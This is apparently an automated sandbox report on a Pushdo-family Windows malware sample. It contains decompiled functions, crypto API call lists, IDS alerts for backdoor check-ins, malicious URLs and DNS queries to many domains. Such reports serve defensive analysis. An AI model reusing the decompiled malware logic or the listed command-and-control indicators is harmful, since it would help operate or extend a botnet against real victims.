Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 2a75a63bc52b7979a1521d091094293623d14a419708f62eec80947a1fa6f641
Instruction ID: 39668f8d9fe3483c5646af576600689d99771d004cccba13a6ccfc0a9e72bbb2
Opcode Fuzzy Hash: 2a75a63bc52b7979a1521d091094293623d14a419708f62eec80947a1fa6f641
Instruction Fuzzy Hash: CC21C4B0A01219EBDB14CF98C984BAEBBB5FF44304F288599DE05AB240D774AB80DB55

Uniqueness

Uniqueness Score: -1.00%

Function 040078D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E040078D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E04007B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L0400B1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x040078d6
0x040078de
0x040078f8
0x0400790a
0x04007922
0x0400792d
0x0400792e
0x04007933
0x0400795a
0x04007960
0x04007907
0x04007907
0x04007965
0x04007965
0x0400796f

APIs

inet_ntoa.WS2_32(00000000), ref: 0400792E
wnsprintfA.SHLWAPI ref: 0400795A

Strings

%s:%u, xrefs: 04007949

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction ID: 46ead0e7315176c8e7c3a96679b7c8ac73bfa04a13e8ca702a559205f2d732b6
Opcode Fuzzy Hash: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction Fuzzy Hash: 05115B71A04208ABEB08CF94C995BEDBBB4EB50308F04C29DE915BB280D379F645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0080D80E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E0080D80E(int __ebx, intOrPtr* __esi) {
				void* __edi;
				intOrPtr _t33;
				int _t51;
				int _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t72;
				signed int _t73;
				void* _t75;
				void* _t76;

				_t72 = __esi;
				_t55 = __ebx;
				do {
					_t57 =  *((intOrPtr*)(_t73 - 0x228));
					if( *((intOrPtr*)(_t72 + 0x118)) != 0xffffffff) {
						 *((char*)(_t73 - 0x110)) = 0;
						E00816820(_t73 - 0x10f, 0, 0x103);
						_t33 =  *((intOrPtr*)(_t73 - 0x228));
						_t76 = _t75 + 0xc;
						if(_t33 < 0 || _t33 >=  *((intOrPtr*)(_t72 + 4))) {
							goto L11;
						} else {
							E00806040( *_t72 + _t55, _t73 - 0x110,  *((intOrPtr*)(_t72 + 0x118)));
							_push(_t73 - 0x110);
							E00804980(_t73 - 0x220, "&%i %s", _t70);
							_t75 = _t76 + 0x14;
							goto L9;
						}
					} else {
						if(_t57 < 0 || _t57 >=  *((intOrPtr*)(_t72 + 4))) {
							L11:
							RaiseException(0xc000008c, 1, 0, 0);
							InsertMenuA( *(_t72 + 0x10), _t55, 0x400, 0xe110, _t72 + 0x14);
							_t65 =  *(_t72 + 0x10);
							EnableMenuItem( *(_t72 + 0x10), 0xe110, 1);
							 *(_t73 - 0x224) = 1;
						} else {
							_push( *_t72 + _t55);
							E00804980(_t73 - 0x220, "&%i %s", _t70);
							_t75 = _t75 + 0xc;
							goto L9;
						}
					}
					L13:
					DeleteMenu( *(_t72 + 0x10),  *(_t73 - 0x224) + _t55, 0x400);
					_pop(_t71);
					_pop(_t56);
					return E008159E6(1, _t56,  *(_t73 - 4) ^ _t73, _t65, _t71, _t72);
					L9:
					_t15 = _t70 + 0xe10f; // 0xe111
					_t65 =  *(_t72 + 0x10);
					InsertMenuA( *(_t72 + 0x10),  *(_t73 - 0x22c) + _t70 - 1, 0x400, _t15, _t73 - 0x220);
					 *((intOrPtr*)(_t73 - 0x228)) =  *((intOrPtr*)(_t73 - 0x228)) - 1;
					_t51 =  *(_t73 - 0x224) + 1;
					_t55 = _t55 - 0x104;
					_t70 = _t70 + 1;
					 *(_t73 - 0x224) = _t51;
				} while (_t51 <  *((intOrPtr*)(_t73 - 0x230)));
				_t55 =  *(_t73 - 0x22c);
				goto L13;
			}

0x0080d80e
0x0080d80e
0x0080d810
0x0080d810
0x0080d81d
0x0080d859
0x0080d860
0x0080d865
0x0080d86b
0x0080d870
0x00000000
0x0080d87f
0x0080d891
0x0080d89c
0x0080d8a9
0x0080d8ae
0x00000000
0x0080d8ae
0x0080d81f
0x0080d821
0x0080d907
0x0080d912
0x0080d92b
0x0080d931
0x0080d93c
0x0080d942
0x0080d830
0x0080d834
0x0080d841
0x0080d846
0x00000000
0x0080d846
0x0080d821
0x0080d94c
0x0080d95e
0x0080d967
0x0080d96f
0x0080d978
0x0080d8b1
0x0080d8be
0x0080d8c5
0x0080d8d3
0x0080d8df
0x0080d8e5
0x0080d8e6
0x0080d8ec
0x0080d8ed
0x0080d8f3
0x0080d8ff
0x00000000

APIs

_memset.LIBCMT ref: 0080D860
InsertMenuA.USER32(?,?,00000400,0000E110,00000000), ref: 0080D8D3
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 0080D912
InsertMenuA.USER32(?,00000000,00000400,0000E110,?), ref: 0080D92B
EnableMenuItem.USER32 ref: 0080D93C

Part of subcall function 00804980: wvsprintfA.USER32(?,?,?), ref: 0080498C

DeleteMenu.USER32(?,00000001,00000400), ref: 0080D95E

Strings

&%i %s, xrefs: 0080D836

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Menu$Insert$DeleteEnableExceptionItemRaise_memsetwvsprintf
String ID: &%i %s
API String ID: 3482434871-915073524
Opcode ID: b81b6691aa7dbbc2abcea49411f2733c02f8e687d0254eb13d0aeb3bbcfad4c6
Instruction ID: 89d5f43bca8e9fdbe0b9be78cce0e9e1ee44d1f278c5e32840ea66ec21626b0a
Opcode Fuzzy Hash: b81b6691aa7dbbc2abcea49411f2733c02f8e687d0254eb13d0aeb3bbcfad4c6
Instruction Fuzzy Hash: 9E114271600219AFCB64DFA4ECC9EA9B7B4FB48314F1046ACE55AD7291D730AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E04007D20(E04007D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x04001e66
0x04001e71
0x04001e8b
0x04001e93
0x04001ebc
0x04001ec2
0x04001ecb
0x04001ecb
0x04001ebc
0x04001ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 04001EB4
CloseHandle.KERNEL32(?), ref: 04001EC2

Strings

D, xrefs: 04001E93

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction ID: 8c18c5092416b0968d1e58d42d3dcefe862203e4accbbf984a8d418911b9581a
Opcode Fuzzy Hash: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction Fuzzy Hash: 5C011275A4420CABEB10DF90DD45FEE77B9AB04704F148119E6087B2C0D775AA45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00804890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00804890(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				struct _OSVERSIONINFOA _v156;
				signed int _t9;
				intOrPtr _t16;
				intOrPtr _t19;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				signed int _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t19 = __ebx;
				_t9 =  *0x869060; // 0xda7e2511
				_v8 = _t9 ^ _t28;
				E00816820( &(_v156.dwMajorVersion), 0, 0x90);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) == 0) {
					L5:
					return E008159E6(1, _t19, _v8 ^ _t28, _t25, _t26, _t27);
				} else {
					_t16 = _v156.dwMajorVersion;
					if(_t16 >= 5 || _t16 == 4 && _v156.dwMinorVersion >= 0x5a) {
						return E008159E6(0, _t19, _v8 ^ _t28, _t25, _t26, _t27);
					} else {
						goto L5;
					}
				}
			}

0x00804890
0x00804890
0x00804890
0x00804899
0x008048a0
0x008048b1
0x008048c0
0x008048d2
0x008048fd
0x0080490f
0x008048d4
0x008048d4
0x008048dd
0x008048fc
0x00000000
0x00000000
0x00000000
0x008048dd

APIs

_memset.LIBCMT ref: 008048B1
GetVersionExA.KERNEL32(?), ref: 008048CA

Strings

Z, xrefs: 008048E4

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Version_memset
String ID: Z
API String ID: 963298953-1505515367
Opcode ID: 184aad86be3523dac1ccd0e82ca554ba7613b3cd2dde36fde422480d49303174
Instruction ID: 99507a91cfaab82b2e26671cac42c102c8644f7ca47fc806e9604a01009fbdad
Opcode Fuzzy Hash: 184aad86be3523dac1ccd0e82ca554ba7613b3cd2dde36fde422480d49303174
Instruction Fuzzy Hash: 5EF04970A4010C9BDB60DB74ED42BADB7F9FF05704F4044A9D60ED62C2DA315E94CB52

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.credo.edu.pl/	Avira URL Cloud: Label: malware
Source: http://www.credo.edu.pl/&	Avira URL Cloud: Label: malware

Source: Traffic	Snort IDS: 2016867 ET TROJAN Backdoor.Win32.Pushdo.s Checkin 192.168.2.3:49699 -> 104.21.23.9:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.106.25:80 -> 192.168.2.3:50329
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.184.124:80 -> 192.168.2.3:51515

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 104.26.7.17 104.26.7.17
Source: Joe Sandbox View	IP Address: 104.24.161.27 104.24.161.27

Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/PohlFoodService" target="_blank"> equals www.facebook.com (Facebook)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/pohl-food-service" target="_blank"> equals www.linkedin.com (Linkedin)
Source: fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/PohlFoodService" /> equals www.facebook.com (Facebook)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-linkedin elementor-repeater-item-dd39117" href="https://www.linkedin.com/company/comsit-distribution-gmbh/" target="_blank"> equals www.linkedin.com (Linkedin)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-9c5067a" href="https://www.youtube.com/@ComSITDistributionGmbH" target="_blank"> equals www.youtube.com (Youtube)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}}},"version":"3.13.3","is_static":false,"experimentalFeatures":{"e_dom_optimization":true,"e_optimized_assets_loading":true,"e_optimized_css_loading":true,"a11y_improvements":true,"additional_custom_breakpoints":true,"e_swiper_latest":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"landing-pages":true,"page-transitions":true,"notes":true,"loop":true,"form-submissions":true,"e_scroll_snap":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"title","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":46,"title":"Comsit%20Website","excerpt":"","featuredImage":false}}; equals www.facebook.com (Facebook)
Source: fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}}},"version":"3.13.3","is_static":false,"experimentalFeatures":{"e_dom_optimization":true,"e_optimized_assets_loading":true,"e_optimized_css_loading":true,"a11y_improvements":true,"additional_custom_breakpoints":true,"e_swiper_latest":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"landing-pages":true,"page-transitions":true,"notes":true,"loop":true,"form-submissions":true,"e_scroll_snap":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"title","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":46,"title":"Comsit%20Website","excerpt":"","featuredImage":false}}; equals www.twitter.com (Twitter)

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_040047F0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptDestroyHash,CryptReleaseContext,	0_2_040047F0
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008800
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_04008970
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008A70
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04004BA0 CoInitialize,SetEvent,WaitForSingleObject,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetCurrentThreadId,GetSystemMetrics,GetSystemMetrics,GlobalMemoryStatus,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,wsprintfA,CryptBinaryToStringA,MultiByteToWideChar,VirtualFree,EnterCriticalSection,VirtualAlloc,VirtualAlloc,GetTickCount,VirtualFree,LeaveCriticalSection,VirtualFree,VirtualFree,VirtualFree,VirtualFree,CoUninitialize,	0_2_04004BA0
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008BB0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_04008BB0
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008CF0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	0_2_04008CF0
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04004880 CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptDestroyHash,CryptReleaseContext,	0_2_04004880
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A237 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_0252A237
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A377 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_0252A377
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02529FC7 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_02529FC7
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A4B7 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	0_2_0252A4B7
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A137 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_0252A137
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_040047F0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptDestroyHash,CryptReleaseContext,	1_2_040047F0
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	1_2_04008800
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	1_2_04008970
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	1_2_04008A70
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04004BA0 CoInitialize,SetEvent,WaitForSingleObject,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetCurrentThreadId,GetSystemMetrics,GetSystemMetrics,GlobalMemoryStatus,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,wsprintfA,CryptBinaryToStringA,MultiByteToWideChar,VirtualFree,EnterCriticalSection,VirtualAlloc,VirtualAlloc,GetTickCount,VirtualFree,LeaveCriticalSection,VirtualFree,VirtualFree,VirtualFree,VirtualFree,CoUninitialize,	1_2_04004BA0
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008BB0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	1_2_04008BB0
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008CF0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	1_2_04008CF0
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04004880 CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptDestroyHash,CryptReleaseContext,	1_2_04004880

Source: unknown	DNS traffic detected: query: www.wkhk.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: koz1.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: atis-sk.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: invictus.pl replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: webband.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.udesign.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cvswl.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ktenergo.ru replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail7.digitalwaves.co.nz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amba-tc.si replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: canmore.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: chzko.ru replaycode: Server failure (2)
